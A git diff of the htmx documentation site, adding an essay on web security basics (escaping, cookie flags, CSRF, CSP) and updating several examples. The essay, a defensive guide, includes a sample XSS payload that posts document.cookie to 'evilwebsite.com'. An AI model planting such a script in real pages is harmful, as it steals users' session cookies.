+is being driven entirely by our UI needs, will be around forever.
+
+Since we are not committing to *all* clients that this data will be available at `/graph` forever, and since we
+are using [Hypermedia As The Engine of Application State](@/essays/hateoas.md) in our HTML-based web application, we are free to remove
+or refactor this URL later on.
+
+Perhaps some database optimization suddenly make the graph fast to compute and we can include it inline in the
+response to `/contacts`: we can remove this end point because we have not exposed it to other clients, it's just there
+to support our web application.
+
+So, we get the [flexibility we want](@/essays/hypermedia-apis-vs-data-apis.md) for our hypermedia API, and the
+[features](@/essays/hypermedia-apis-vs-data-apis.md) we want for our JSON Data API.
+
+The most important thing to notice, in terms of MVC, is that because our domain logic has been collected in a Model,
+we can vary these two APIs flexibly while still achieving a significant amount of code reuse. Yes, there was a lot
+of initial similarity to the JSON and HTML controllers, but they diverged over time.
+
+At the same time, we didn't
+duplicate our Model logic: both controllers remained relatively "thin" and delegated out to our Model object to do
+most of the work.
+
+Our two APIs are decoupled, while our domain logic remains centralized.
+
+(Note that this also gets at [why I tend not to use content negotiation](@/essays/why-tend-not-to-use-content-negotiation.md) and return HTML & JSON from the same endpoint.)
+
+## MVC Frameworks
+
+Many older web frameworks such as [Spring](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html),
+[ASP.NET](https://dotnet.microsoft.com/en-us/apps/aspnet/mvc), Rails have very strong MVC concepts that allow you to split
+your logic out in this manner extremely effectively.
+
+Django has a variation on the idea called [MVT](https://www.askpython.com/django/django-mvt-architecture).
+
+This strong support for MVC is one reason why these frameworks pair very well with htmx and those communities are excited
+about it.
+
+And, while the examples above are obviously biased towards [Object-Oriented](https://www.azquotes.com/picture-quotes/quote-object-oriented-programming-is-an-exceptionally-bad-idea-which-could-only-have-originated-edsger-dijkstra-7-85-25.jpg)
+programming, the same ideas can be applied in a functional context as well.
+
+## Conclusion
+
+I hope that, if it is new to you, that gives you to a good feel for the concept of MVC and shows how that, by adopting that
+organizational principle in your web applications, you can effectively decouple your APIs while at the same time avoiding
+significant duplication of code.
diff --git a/www/content/essays/two-approaches-to-decoupling.md b/www/content/essays/two-approaches-to-decoupling.md
index 51b692ac..de6c4c0c 100644
--- a/www/content/essays/two-approaches-to-decoupling.md
+++ b/www/content/essays/two-approaches-to-decoupling.md
@@ -39,7 +39,7 @@ Broadly, experienced developers strive for decoupled and cohesive systems.
A common approach to building web applications today is to create a JSON Data API and then consume that JSON API using
a JavaScript framework such as React. This application-level architectural decision decouples the front-end code
-from the back-end code, and allows the re-use of the JSON API in other contexts, such as a mobile applications, 3rd
+from the back-end code, and allows the reuse of the JSON API in other contexts, such as a mobile applications, 3rd
party client integrations, etc.
This is an _application-level_ decoupling because the decision and implementation of the decoupling is done by the
diff --git a/www/content/essays/web-security-basics-with-htmx.md b/www/content/essays/web-security-basics-with-htmx.md
new file mode 100644
index 00000000..f871e706
--- /dev/null
+++ b/www/content/essays/web-security-basics-with-htmx.md
@@ -0,0 +1,322 @@
++++
+title = "Web Security Basics (with htmx)"
+date = 2024-02-06
+[taxonomies]
+author = ["Alexander Petros"]
+tag = ["posts"]
++++
+
+As htmx has gotten more popular, it's reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.
+
+But have no fear! Writing web applications with HTML templates is a slightly different security model, but it's no harder than securing a JSX-based application, and in some ways it's a lot easier.
+
+## Who is guide this for?
+
+These are web security basics with htmx, but they're (mostly) not htmx-specific—these concepts are important to know if you're putting *any* dynamic, user-generated content on the web.
+
+For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create `GET` routes that can alter the backend state. We also assume that you're not doing anything super fancy, like making a website that hosts other people's websites. If you're doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.
+
+We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can't catch everyone. No security guide is perfectly comprehensive. If you feel there's a mistake, or an obvious gotcha that we should have mentioned, please reach out and we'll update it.
+
+## The Golden Rules
+
+Follow these four simple rules, and you'll be following the client security best practices:
+
+1. Only call routes you control
+2. Always use an auto-escaping template engine
+3. Only serve user-generated content inside HTML tags
+4. If you have authentication cookies, set them with `Secure`, `HttpOnly`, and `SameSite=Lax`
+
+In the following section, I'll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.
+
+Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you'll be doing so with the full knowledge that you're increasing the conceptual burden of securing your application. And you'll have learned a lot about web security in the process.
+
+## Understanding the Rules
+
+### Only call routes you control
+
+This is the most basic one, and the most important: **do not call untrusted routes with htmx.**
+
+In practice, this means you should only use relative URLs. This is fine:
+
+```html
+<button hx-get="/events">Search events</button>
+```
+
+But this is not:
+
+```html
+<button hx-get="https://google.com/search?q=events">Search events</button>
+```
+
+The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response has a malicious `<script>` inside it, that script can steal the user's data. When you don't control the route, you cannot guarantee that whoever does control the route won't add a malicious script.
+
+Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML) are [specific to the layout of your application](https://htmx.org/essays/hypermedia-apis-vs-data-apis/), so there is almost never any reason you'd *want* to insert someone else's HTML into your page. All you have to do is make sure you only call your own routes (htmx 2 will actually disable calling other domains by default).
+
+Though it's not quite as popular these days, a common SPA pattern was to separate the frontend and backend into different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in the frontend, and often, [disabling CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS). With htmx (and, to be fair, modern React with NextJS) this is an anti-pattern.
+
+Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and everything else falls into place: you can use relative URLs, you'll never have trouble with CORS, and you'll never call anyone else's backend.
+
+htmx executes HTML; HTML is code; never execute untrusted code.
+
+### Always use an auto-escaping template engine
+
+When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.
+
+Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.
+
+| Language | Template Engine | Escapes HTML by default? |
+| ---- | ---- | ---- |
+| JavaScript | Nunjucks | Yes |
+| JavaScript | EJS | Yes, with `<%= %>` |
+| Python | DTL | Yes |
+| Python | Jinja | **Sometimes** (Yes, in Flask)|
+| Ruby | ERB | Yes, with `<%= %>` |
+| PHP | Blade | Yes |
+| Go | html/template | Yes |
+| Java | Thymeleaf | Yes |
+| Rust | Tera | Yes |
+
+The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that is [broadly used](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#introduction) to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store malicious code in your database, which you then serve to your other users who request that info.
+
+For example, let's say you're building a dating site, and it lets users share a little bio about themselves. You'd render that bio like this, with `{{ user.bio }}` being the bio stored in the database:
+
+```html
+<p>
+{{ user.bio }}
+</p>
+```
+
+If a malicious user wrote a bio with a script element in it—like one that sends the client's cookie to another website—then this HTML will get sent to every user who views that bio:
+
+```html
+<p>
+<script>
+ fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
+</script>
+</p>
+```
+
+Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:
+
+```js
+/**
+ * Replace any characters that could be used to inject a malicious script in an HTML context.
+ */
+export function escapeHtmlText (value) {
+ const stringValue = value.toString()
+ const entityMap = {
+ '&': '&amp;',
+ '<': '&lt;',
+ '>': '&gt;',
+ '"': '&quot;',
+ "'": '&#x27;',
+ '/': '&#x2F;',
+ '`': '&grave;',
+ '=': '&#x3D;'
+ }
+
+ // Match any of the characters inside /[ ... ]/
+ const regex = /[&<>"'`=/]/g
+ return stringValue.replace(regex, match => entityMap[match])
+}
+```
+
+This tiny JS function replaces `<` with `&lt;`, `"` with `&quot;`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:
+
+```html
+<p>
+&lt;script&gt;
+ fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
+&lt;/script&gt;
+</p>
+```
+
+which displays harmlessly as text.
+
+Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.
+
+### Only serve user-generated content inside HTML tags
+
+This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.
+
+```html
+<!-- Don't include inside script tags -->
+<script>
+ const userName = {{ user.name }}
+</script>
+
+<!-- Don't include inside CSS tags -->
+<style>
+ h1 { color: {{ user.favorite_color }} }
+</style>
+```
+
+And, don't use user-defined attributes or tag names either:
+```html
+<!-- Don't allow user-defined tag names -->
+<{{ user.tag }}></{{ user.tag }}>
+
+<!-- Don't allow user-defined attributes -->
+<a {{ user.attribute }}></a>
+
+<!-- User-defined attribute VALUES are sometimes okay, it depends -->
+<a class="{{ user.class }}"></a>
+
+<!-- Escaped content is always safe inside HTML tags (this is fine) -->
+<a>{{ user.name }}</a>
+```
+
+CSS, JavaScript, and HTML attributes are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not doing *any* of these.
+
+Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.
+
+## Secure your cookies
+
+The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three in particular:
+
+* `Secure` - only send the cookie via HTTPS, never HTTP
+* `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie`
+* `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link
+
+To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens generally)
+
+If your users log in with a `<form>`, their browser will send your server an HTTP request, and your server will send back a response that looks something like this:
+
+```
+HTTP/2.0 200 OK
+Content-Type: text/html
+Set-Cookie: token=asd8234nsdfp982
+
+[HTML content]
+```
+
+That token corresponds to the user's current login session. From now on, every time that user makes a request to any route at `yourdomain.com`, the browser will include that cookie from `Set-Cookie` in the HTTP request.
+
+```
+GET /users HTTP/1.1
+Host: yourdomain.com
+Cookie: token=asd8234nsdfp982
+```
+
+Each time someone makes a request to your server, it needs to parse out that token and determine if it's valid. Simple enough.
+
+You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP request that looks like this:
+
+```
+HTTP/2.0 200 OK
+Content-Type: text/html
+Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
+
+[HTML content]
+```
+
+So what do the options do?
+
+The first one, `Secure`, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user's login token, should *never* be sent over an insecure connection.
+
+The second option, `HttpOnly`, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won't be in [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie)). Even if someone is able to insert a malicious script, like in the `evilwebsite.com` example above, that malicious script cannot access the user's cookie or send it to `evilwebsite.com`. The browser will only attach the cookie when the request is made to the website the cookie came from.
+
+Finally, `SameSite=Lax` locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client's browser to make a malicious request to the `yourdomain.com` server—like a POST request. The `SameSite=Lax` setting tells the browser not to send the `yourdomain.com` cookie if the site that made the request isn't `yourdomain.com`—unless it's a straightforward `<a>` link navigating to your page. This is *mostly* browser default behavior now, but it's important to still set it directly.
+
+In 2024, `SameSite=Lax` is [usually enough](https://security.stackexchange.com/questions/252300/do-i-still-need-a-csrf-token) to protect against CSRF, but there are [additional mitigations](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) you can consider as well for more sensitive or complicated cases.
+
+**Important Note:** `SameSite=Lax` only protects you at the domain level, not the subdomain level (i.e. `yourdomain.com`, not `yoursite.github.io`). If you're doing user login, you should always be doing that at your own domain in production. Sometimes the [Public Suffixes List](https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site) will protect you, but you shouldn't rely on that.
+
+## Breaking the rules
+
+We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.
+
+Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means.
+
+### Calling untrusted APIs
+
+Calling untrusted HTML APIs is lunacy. Never do this.
+
+There are cases where you might want to call someone else's JSON API from the client, and that's fine, because JSON cannot execute arbitrary scripts. In that case, you'll probably want to do something with that data to turn it into HTML. Don't use htmx to do that—use `fetch` and `JSON.parse()`; if the untrusted API pulls a fast one and returns HTML instead of JSON, `JSON.parse()` will just fail harmlessly.
+
+Keep in mind that the JSON you parse might have a *property* that is formatted as HTML, though:
+
+```json
+{ "name": "<script>alert('Hahaha I am a script')</script>" }
+```
+
+Therefore, don't insert JSON values as HTML either—use `innerText` if you're doing something like that. This is well outside the realm of htmx-controlled UI though.
+
+The 2.0 version of htmx will include an `innerText` swap, if you want to call someone else's API directly from the client and just put that text into the page.
+
+### Custom HTML controls
+
+Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.
+
+What if, say, you want to let users link to an image?
+
+```html
+<img src="{{ user.fav_img }}">
+```
+
+Or link to their personal website?
+```html
+<a href="{{ user.fav_link }}">
+```
+
+The default "escape everything" approach escapes forward slashes, so it will bork user-submitted URLs.
+
+You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don't let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the [safe](https://mozilla.github.io/nunjucks/templating.html#safe) function:
+
+```html
+<img src="{{ user.fav_img_s3_url | safe }}">
+```
+
+Yes, you're including unescaped content, but it's a link that you generated, so you know it's safe.
+
+You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.
+
+```css
+{% if user.favorite_color === 'red' %}
+h1 { color: 'red'; }
+{% else %}
+h1 { color: 'blue'; }
+{% endif %}
+```
+
+In that example, the user can set `favorite_color` to whatever they like, but it's never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea.
+
+Depending on what kind of customization you're supporting, securing it might be relatively easy, or quite difficult. Some attributes are ["safe sinks,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks) which means that their values will never be interpreted as code; these are quite easy to secure. If you're going to include dynamic input in ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) you need to research *what* is dangerous about those contexts, and ensure that that kind of input won't make it into the document.
+
+If you want to let users link to arbitrary websites or images, for instance, that's a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything *but* forward slashes (and possibly ampersands), so the link will work properly.
+
+But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else's server. Maybe you're fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don't have the bandwidth to research and test it, you shouldn't do it.
+
+### Non-cookie authentication
+
+JavaScript SPAs sometimes authenticate by saving a token in the client's local storage, and then adding that to the [`Authorization` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) of each request. Unfortunately, there's no way to set the `Authorization` header without using JavaScript, which is not as secure; if it's available to your trusted JavaScript, it's available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all.
+
+Why is there an `Authorization` header but no way to set it with hypermedia controls? Well, that's just one of WHATWG's ~~outrageous omissions~~ little mysteries.
+
+You might need to use an `Authorization` header if you're authenticating the user's client with an API that you don't control, in which case the regular precautions about routes you don't control apply.
+
+## Bonus: Content Security Policy
+
+You should also be aware of the [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts.
+
+This is not one of the golden rules because it's not as easy to apply universally. There's no "one size fits most" CSP. Some htmx applications make use of inline scripting—the [`hx-on` attribute](https://htmx.org/attributes/hx-on/) is a generalized attribute listener that can evaluate arbitrary scripts (although [it can be disabled](https://htmx.org/docs/#configuration-options) if you don't need it). Sometimes inline scripts are appropriate to preserve [locality of behavior](https://htmx.org/essays/locality-of-behaviour/) on a application that is sufficiently secured against XSS, sometimes inline scripts aren't necessary and you can adopt a stricter CSP. It all depends on your application's security profile—it's on to you to be aware of the options available to you and able to perform that analysis.
+
+## Is this a step back?
+
+You might reasonably wonder: if I didn't have to know these things when I was building SPAs, isn't htmx a step back in security? We would challenge both parts of that statement.
+
+This article is not intended to be a defense of htmx's security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that's supposed to be rendered—it's a lot easier for unintended data to "hide" in a JSON response and leak to the user. Hypermedia APIs also don't lend themselves to implementing a generalized query language, like GraphQL, on the client, which [require a *massively* more complicated security model](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html). Flaws of all kinds hide in your application's complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure.
+
+You also need to know about XSS attacks if you're putting dynamic content on the web, period. A developer who doesn't understand how XSS works won't understand what's dangerous about using React's [`dangerouslySetInnerHTML`](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)—and they'll go ahead and set it the first time they need to render rich user-generated text. It is the library's responsibility to make those security basics as easy to find as possible; it has always been the developer's responsibility to learn and follow them.
+
+This article is organized to making securing your htmx application a "pit of success"—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it's impossible to write a library that's going to be secure in the hands of a developer who refuses to learn *anything* about security, because security is about controlling access to information, and it will always be the human's job to explain to the computer precisely who has access to what information.
+
+Writing secure web applications is *hard*. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.
+
+For everyone else:
+
+1. Don't call untrusted routes
+2. Use an auto-escaping template engine
+3. Only put user-generated content inside HTML tags
+4. Secure your cookies
diff --git a/www/content/examples/_index.md b/www/content/examples/_index.md
index 73ae9e90..1061b801 100644
--- a/www/content/examples/_index.md
+++ b/www/content/examples/_index.md
@@ -37,9 +37,10 @@ You can copy and paste them and then adjust them for your needs.
| [Tabs (Using HATEOAS)](@/examples/tabs-hateoas.md) | Demonstrates how to display and select tabs using HATEOAS principles |
| [Tabs (Using JavaScript)](@/examples/tabs-javascript.md) | Demonstrates how to display and select tabs using JavaScript |
| [Keyboard Shortcuts](@/examples/keyboard-shortcuts.md) | Demonstrates how to create keyboard shortcuts for htmx enabled elements |
-| [Sortable](@/examples/sortable.md) | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering |
+| [Drag & Drop / Sortable](@/examples/sortable.md) | Demonstrates how to use htmx with the Sortable.js plugin to implement drag-and-drop reordering |
| [Updating Other Content](@/examples/update-other-content.md) | Demonstrates how to update content beyond just the target elements |
| [Confirm](@/examples/confirm.md) | Demonstrates how to implement a custom confirmation dialog with htmx |
+| [Async Authentication](@/examples/async-auth.md) | Demonstrates how to handle async authentication tokens in htmx |
## Migrating from Hotwire / Turbo ?
diff --git a/www/content/examples/async-auth.md b/www/content/examples/async-auth.md
new file mode 100644
index 00000000..657504ee
--- /dev/null
+++ b/www/content/examples/async-auth.md
@@ -0,0 +1,55 @@
++++
+title = "Async Authentication"
+template = "demo.html"
++++
+
+This example shows how to implement an an async auth token flow for htmx.
+
+The technique we will use here will take advantage of the fact that you can delay requests
+using the [`htmx:confirm`](@/events.md#htmx:confirm) event.
+
+We first have a button that should not issue a request until an auth token has been retrieved:
+
+```html
+ <button hx-post="/example" hx-target="next output">
+ An htmx-Powered button
+ </button>
+ <output>
+ --
+ </output>
+```
+
+Next we will add some scripting to work with an `auth` promise (returned by a library):
+
+```html
+<script>
+ // auth is a promise returned by our authentication system
+
+ // await the auth token and store it somewhere
+ let authToken = null;
+ auth.then((token) => {
+ authToken = token
+ })
+
+ // gate htmx requests on the auth token
+ htmx.on("htmx:confirm", (e)=> {
+ // if there is no auth token
+ if(authToken == null) {
+ // stop the regular request from being issued
+ e.preventDefault()
+ // only issue it once the auth promise has resolved
+ auth.then(() => e.detail.issueRequest())
+ }
+ })
+
+ // add the auth token to the request as a header
+ htmx.on("htmx:configRequest", (e)=> {
+ e.detail.headers["AUTH"] = authToken
+ })
+</script>
+```
+
+Here we use a global variable, but you could use `localStorage` or whatever preferred mechanism
+you want to communicate the authentication token to the `htmx:configRequest` event.
+
+With this code in place, htmx will not issue requests until the `auth` promise has been resolved.
diff --git a/www/content/examples/bulk-update.md b/www/content/examples/bulk-update.md
index 9e343397..85710b8e 100644
--- a/www/content/examples/bulk-update.md
+++ b/www/content/examples/bulk-update.md
@@ -5,65 +5,67 @@ template = "demo.html"
This demo shows how to implement a common pattern where rows are selected and then bulk updated. This is
accomplished by putting a form around a table, with checkboxes in the table, and then including the checked
-values in `PUT`'s to two different endpoints: `activate` and `deactivate`:
+values in the form submission (`POST` request):
```html
-<div hx-include="#checked-contacts" hx-target="#tbody">
- <button class="btn" hx-put="/activate">Activate</button>
- <button class="btn" hx-put="/deactivate">Deactivate</button>
-</div>
-
-<form id="checked-contacts">
+<form id="checked-contacts"
+ hx-post="/users"
+ hx-swap="outerHTML settle:3s"
+ hx-target="#toast">
<table>
<thead>
<tr>
- <th></th>
<th>Name</th>
<th>Email</th>
- <th>Status</th>
+ <th>Active</th>
</tr>
</thead>
<tbody id="tbody">
- <tr class="">
- <td><input type='checkbox' name='ids' value='0'></td>
+ <tr>
<td>Joe Smith</td>
<td>joe@smith.org</td>
- <td>Active</td>
+ <td><input type="checkbox" name="active:joe@smith.org"></td>
</tr>
...
</tbody>
</table>
+ <input type="submit" value="Bulk Update">
+ <span id="toast"></span>
</form>
```
-The server will either activate or deactivate the checked users and then rerender the `tbody` tag with
-updated rows. It will apply the class `activate` or `deactivate` to rows that have been mutated. This allows
-us to use a bit of CSS to flash a color helping the user see what happened:
+The server will bulk-update the statuses based on the values of the checkboxes.
+We respond with a small toast message about the update to inform the user, and
+use ARIA to politely announce the update for accessibility.
```css
- .htmx-settling tr.deactivate td {
- background: lightcoral;
- }
- .htmx-settling tr.activate td {
- background: darkseagreen;
- }
- tr td {
- transition: all 1.2s;
- }
+#toast.htmx-settling {
+ opacity: 100;
+}
+
+#toast {
+ background: #E1F0DA;
+ opacity: 0;
+ transition: opacity 3s ease-out;
+}
```
+The cool thing is that, because HTML form inputs already manage their own state,
+we don't need to re-render any part of the users table. The active users are
+already checked and the inactive ones unchecked!
+
You can see a working example of this code below.
<style scoped="">
- .htmx-settling tr.deactivate td {
- background: lightcoral;
- }
- .htmx-settling tr.activate td {
- background: darkseagreen;
- }
- tr td {
- transition: all 1.2s;
- }
+#toast.htmx-settling {
+ opacity: 100;
+}
+
+#toast {
+ background: #E1F0DA;
+ opacity: 0;
+ transition: opacity 3s ease-out;
+}
</style>
{{ demoenv() }}
@@ -73,91 +75,118 @@ You can see a working example of this code below.
// Fake Server Side Code
//=========================================================================
- // data
- var dataStore = function(){
- var data = [
- { name: "Joe Smith", email: "joe@smith.org", status: "Active" },
- { name: "Angie MacDowell", email: "angie@macdowell.org", status: "Active" },
- { name: "Fuqua Tarkenton", email: "fuqua@tarkenton.org", status: "Active" },
- { name: "Kim Yee", email: "kim@yee.org", status: "Inactive" }
- ];
+ const dataStore = (() => {
+ const data = {
+ "joe@smith.org": {name: 'Joe Smith', status: 'Active'},
+ "angie@macdowell.org": {name: 'Angie MacDowell', status: 'Active'},
+ "fuqua@tarkenton.org": {name: 'Fuqua Tarkenton', status: 'Active'},
+ "kim@yee.org": {name: 'Kim Yee', status: 'Inactive'},
+ };
+
return {
- findContactById : function(id) {
- return data[id];
- },
- allContacts : function() {
+ all() {
return data;
- }
- }
- }()
+ },
- function getIds(params) {
- if(params['ids']) {
- if(Array.isArray(params['ids'])) {
- return params['ids'].map(x => parseInt(x))
- } else {
- return [parseInt(params['ids'])];
- }
- } else {
- return [];
- }
- }
+ activate(email) {
+ if (data[email].status === 'Active') {
+ return 0;
+ } else {
+ data[email].status = 'Active';
+ return 1;
+ }
+ },
+
+ deactivate(email) {
+ if (data[email].status === 'Inactive') {
+ return 0;
+ } else {
+ data[email].status = 'Inactive';
+ return 1;
+ }
+ },
+ };
+ })();
// routes
init("/demo", function(request){
- return displayUI(dataStore.allContacts());
+ return displayUI(dataStore.all());
});
- onPut("/activate", function(request, params){
- var ids = getIds(params);
- for (var i = 0; i < ids.length; i++) {
- dataStore.findContactById(ids[i])['status'] = 'Active';
+ /*
+ Params look like:
+ {"active:joe@smith.org":"on","active:angie@macdowell.org":"on","active:fuqua@tarkenton.org":"on"}
+ */
+ onPost("/users", function (req, params) {
+ const actives = {};
+ let activated = 0;
+ let deactivated = 0;
+
+ // Build a set of active users for efficient lookup
+ for (const param of Object.keys(params)) {
+ const nameEmail = param.split(':');
+ if (nameEmail[0] === 'active') {
+ actives[nameEmail[1]] = true;
}
- return displayTable(ids, dataStore.allContacts(), 'activate');
- });
+ }
- onPut("/deactivate", function (req, params) {
- var ids = getIds(params);
- for (var i = 0; i < ids.length; i++) {
- dataStore.findContactById(ids[i])['status'] = 'Inactive';
+ // Activate or deactivate users based on the lookup
+ for (const email of Object.keys(dataStore.all())) {
+ if (actives[email]) {
+ activated += dataStore.activate(email);
+ } else {
+ deactivated += dataStore.deactivate(email);
}
- return displayTable(ids, dataStore.allContacts(), 'deactivate');
+ }
+
+ return `<span id="toast" aria-live="polite">Activated ${activated} and deactivated ${deactivated} users</span>`;
});
// templates
function displayUI(contacts) {
return `<h3>Select Rows And Activate Or Deactivate Below</h3>
- <form id="checked-contacts">
+ <form
+ id="checked-contacts"
+ hx-post="/users"
+ hx-swap="outerHTML settle:3s"
+ hx-target="#toast"
+ >
<table>
<thead>
<tr>
- <th></th>
<th>Name</th>
<th>Email</th>
- <th>Status</th>
+ <th>Active</th>
</tr>
</thead>
<tbody id="tbody">
- ${displayTable([], contacts, "")}
+ ${displayTable(contacts)}
</tbody>
</table>
+ <input type="submit" value="Bulk Update">
+ <span id="toast"></span>
</form>
- <br/>
- <br/>
- <div hx-include="#checked-contacts" hx-target="#tbody">
- <button class="btn" hx-put="/activate">Activate</button>
- <button class="btn" hx-put="/deactivate">Deactivate</button>
- </div>`
+ <br>`;
}
- function displayTable(ids, contacts, action) {
+ function displayTable(contacts) {
var txt = "";
- for (var i = 0; i < contacts.length; i++) {
- var c = contacts[i];
- txt += `\n<tr class="${ids.includes(i) ? action : ""}">
- <td><input type='checkbox' name='ids' value='${i}'></td><td>${c.name}</td><td>${c.email}</td><td>${c.status}</td>
- </tr>`
+
+ for (email of Object.keys(contacts)) {
+ txt += `
+<tr>
+ <td>${contacts[email].name}</td>
+ <td>${email}</td>
+ <td>
+ <input
+ type="checkbox"
+ name="active:${email}"
+ ${contacts[email].status === 'Active' ? 'checked' : ''}>
+ </td>
+</tr>
+`;
}
+
return txt;
}
</script>
diff --git a/www/content/examples/edit-row.md b/www/content/examples/edit-row.md
index cd1027b8..1ca62c1b 100644
--- a/www/content/examples/edit-row.md
+++ b/www/content/examples/edit-row.md
@@ -42,8 +42,8 @@ Here is the HTML for a row:
.then((result) => {
if(result.isConfirmed) {
htmx.trigger(editing, 'cancel')
+ htmx.trigger(this, 'edit')
}
- htmx.trigger(this, 'edit')
})
} else {
htmx.trigger(this, 'edit')
@@ -169,8 +169,8 @@ this makes things a bit nicer to deal with.
.then((result) => {
if(result.isConfirmed) {
htmx.trigger(editing, 'cancel')
+ htmx.trigger(this, 'edit')
}
- htmx.trigger(this, 'edit')
})
} else {
htmx.trigger(this, 'edit')
diff --git a/www/content/examples/value-select.md b/www/content/examples/value-select.md
index e0f59dc4..b77b72be 100644
--- a/www/content/examples/value-select.md
+++ b/www/content/examples/value-select.md
@@ -25,6 +25,7 @@ Here is the code:
<option value="a1">A1</option>
...
</select>
+ <img class="htmx-indicator" width="20" src="/img/bars.svg">
</div>
```
diff --git a/www/content/extensions/server-sent-events.md b/www/content/extensions/server-sent-events.md
index 181d47fb..7a17786a 100644
--- a/www/content/extensions/server-sent-events.md
+++ b/www/content/extensions/server-sent-events.md
@@ -12,6 +12,7 @@ Use the following attributes to configure how SSE connections behave:
* `sse-connect="<url>"` - The URL of the SSE server.
* `sse-swap="<message-name>"` - The name of the message to swap into the DOM.
